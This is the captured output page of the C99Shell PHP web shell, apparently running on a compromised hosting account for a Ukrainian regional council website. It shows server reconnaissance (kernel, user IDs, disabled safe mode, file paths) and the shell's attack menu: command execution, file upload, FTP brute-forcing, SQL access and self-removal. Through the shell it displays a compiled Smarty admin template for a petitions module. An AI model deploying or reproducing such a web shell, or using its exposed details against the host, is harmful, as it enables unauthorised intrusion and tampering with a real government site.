!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/old.zt-rada.gov.ua/tmp/_compile_admin/petitions/   drwxrwx--x
Free 116.75 GB of 200.55 GB (58.22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     fc64dac8212576ee7495473c9daa02498049b0ca.file.question.tpl.php (7.05 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php /* Smarty version Smarty3-RC3, created on 2015-11-04 00:48:59
         compiled from "modules/petitions/templates/question.tpl" */ 
?>
<?php 
/*%%SmartyHeaderCode:517653074563939db7b1492-72088392%%*/if(!defined('SMARTY_DIR')) exit('no direct access allowed');
$_smarty_tpl->decodeProperties(array (
  
'file_dependency' => 
  array (
    
'fc64dac8212576ee7495473c9daa02498049b0ca' => 
    array (
      
=> 'modules/petitions/templates/question.tpl',
      
=> 1446590938,
    ),
  ),
  
'nocache_hash' => '517653074563939db7b1492-72088392',
  
'function' => 
  array (
  ),
  
'has_nocache_code' => false,
)); 
/*/%%SmartyHeaderCode%%*/?>
<form method="post" enctype="multipart/form-data">
    <table class="editor-table">
        <tr>
            <th colspan="3">
                <div id="current-language">
                    <?php  $_smarty_tpl->tpl_vars['lang'] = new Smarty_Variable;
 
$_from $_smarty_tpl->getVariable('languages')->value; if (!is_array($_from) && !is_object($_from)) { settype($_from'array');}
 
$_smarty_tpl->tpl_vars['smarty']->value['foreach']['loop']['iteration']=0;
if (
count($_from) > 0){
    foreach (
$_from as $_smarty_tpl->tpl_vars['lang']->key => $_smarty_tpl->tpl_vars['lang']->value){
 
$_smarty_tpl->tpl_vars['smarty']->value['foreach']['loop']['iteration']++;
?>
                        <input type="radio" <?php if ($_smarty_tpl->tpl_vars['lang']->value==$_smarty_tpl->getVariable('alang')->value){?> checked="checked" <?php }?> id="current-language<?php echo $_smarty_tpl->getVariable('smarty')->value['foreach']['loop']['iteration'];?>
" name="current-language" value="<?php echo $_smarty_tpl->tpl_vars['lang']->value;?>
" /><label for="current-language<?php echo $_smarty_tpl->getVariable('smarty')->value['foreach']['loop']['iteration'];?>
"><img src="/admin/images/<?php echo $_smarty_tpl->tpl_vars['lang']->value;?>
30x20.gif" /></label>
                    <?php }} ?>
                </div>
            </th>
        </tr>
        <tr>
            <td valign="top"><?php echo $_smarty_tpl->getVariable('ALANG')->value['Questions_question_date'];?>
: <br />
                <div style="background-color: white; padding:2px; "><?php echo GetUsefulDate($_smarty_tpl->getVariable('petition_date')->value,true,true);?>
</div></td>
            <td colspan="2" valign="top"></td>
        </tr>
        <tr>
            <td>
                <?php echo $_smarty_tpl->getVariable('ALANG')->value['Questions_question_author_name'];?>
:<br />
                <input readonly type="text" size="40" name="question_author_name" value="<?php echo $_smarty_tpl->getVariable('user_firstname')->value;?>
 <?php echo $_smarty_tpl->getVariable('user_lastname')->value;?>
 <?php echo $_smarty_tpl->getVariable('user_middlename')->value;?>
"/>
            </td>
            <td></td>
            <td></td>
        </tr>
        <tr>
            <td>
                <?php echo $_smarty_tpl->getVariable('ALANG')->value['Questions_question_author_email'];?>
:<br />
                <input type="text" size="35" name="question_author_email" value="<?php echo $_smarty_tpl->getVariable('user_email')->value;?>
"/>
            </td>
            <td colspan="2" valign="bottom"></td>
        </tr>
        <tr>
            <td colspan="3">
               Тема:<br />
                <textarea name="petition_theme" cols="100" rows="2"><?php echo $_smarty_tpl->getVariable('petition_theme')->value;?>
</textarea>
            </td>
        </tr>
        <tr>
            <td colspan="3">
                Текст петиції:<br />
                <textarea name="petition_text" cols="100" rows="6"><?php echo $_smarty_tpl->getVariable('petition_text')->value;?>
</textarea>
            </td>
        </tr>
        <tr>
            <td colspan="3">
                Відповідь на петицію:<br />
                <textarea name="question_answer" cols="60" rows="6" class="ckeditor"><?php echo $_smarty_tpl->getVariable('petition_answer')->value;?>
</textarea>
            </td>
        </tr>
        <tr>
            <td colspan="3"><?php echo $_smarty_tpl->getVariable('ALANG')->value['Questions_question_send_date'];?>
:
     <span id="send_date">
     <?php if ($_smarty_tpl->getVariable('question_send_date')->value=="0000-00-00 00:00:00"){?>
         <span style="color: red;   font-size:12pt; font-weight:bold;">
           <?php echo $_smarty_tpl->getVariable('ALANG')->value['QuestionsAnswerNotSent'];?>

        </span>
     <?php }else{ ?>
        <span style="color: green; font-size:12pt; font-weight:bold;">
           <?php ob_start();?><?php echo $_smarty_tpl->getVariable('question_send_date')->value;?>
<?php $_tmp1
=ob_get_clean();?><?php echo GetUsefulDate($_tmp1,true,true);?>

        </span>
     <?php }?>
     </span>
                <button type="button" onclick="send(<?php echo $_smarty_tpl->getVariable('question_id')->value;?>
)" class="ui-state-default ui-widget ui-corner-all"><?php echo $_smarty_tpl->getVariable('ALANG')->value['CoreSend'];?>
</button></td>
        </tr>
        <tr>
            <td colspan="3"><?php echo $_smarty_tpl->getVariable('ALANG')->value['Questions_question_show'];?>
?
                <label><input type="radio" value="1" name="petition_status" <?php if ($_smarty_tpl->getVariable('petition_status')->value=='1'){?> checked="checked" <?php }?>/><?php echo $_smarty_tpl->getVariable('ALANG')->value['CoreYes'];?>
</label>
                <label><input type="radio" value="0" name="petition_status" <?php if ($_smarty_tpl->getVariable('petition_status')->value=='0'){?> checked="checked" <?php }?>/><?php echo $_smarty_tpl->getVariable('ALANG')->value['CoreNo'];?>
</label>
            </td>
        </tr>
        <tr>
            <td colspan="3" align="center"><input value="<?php echo $_smarty_tpl->getVariable('ALANG')->value['CoreSave'];?>
" type="submit" name="submit" id="submit" class="ui-state-default ui-widget ui-corner-all" /></td>
        </tr>
    </table>
    <input type="hidden" name="<?php echo $_smarty_tpl->getVariable('oper')->value;?>
" value="yes" />
</form>
<script language="javascript">
    function send(question_id)
    {
        var qString = $("#editorform").formSerialize();
        $.post("/admin-asynch.php?mod=Questions&question_id="+question_id, qString, function(data)
        {
            $.post("/admin-asynch.php?mod=Questions&send&question_id="+question_id, {}, function (data)
                    {
                        if (data.status == 'ok')
                        {
                            $("#send_date").html(data.date);
                            $("#send_date").css({ 'color' : 'green', 'font-family' : 'Verdana', 'font-size' : '12pt', 'font-weight' : 'bold'});
                        }
                        if (data.status == 'error')
                        {
                            $("#send_date").html(data.error);
                            $("#send_date").css({ 'color' : 'red', 'font-family' : 'Verdana', 'font-size' : '12pt', 'font-weight' : 'bold'});
                        }
                    }, 'json'
            );
        }, 'json');
    }
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0395 ]--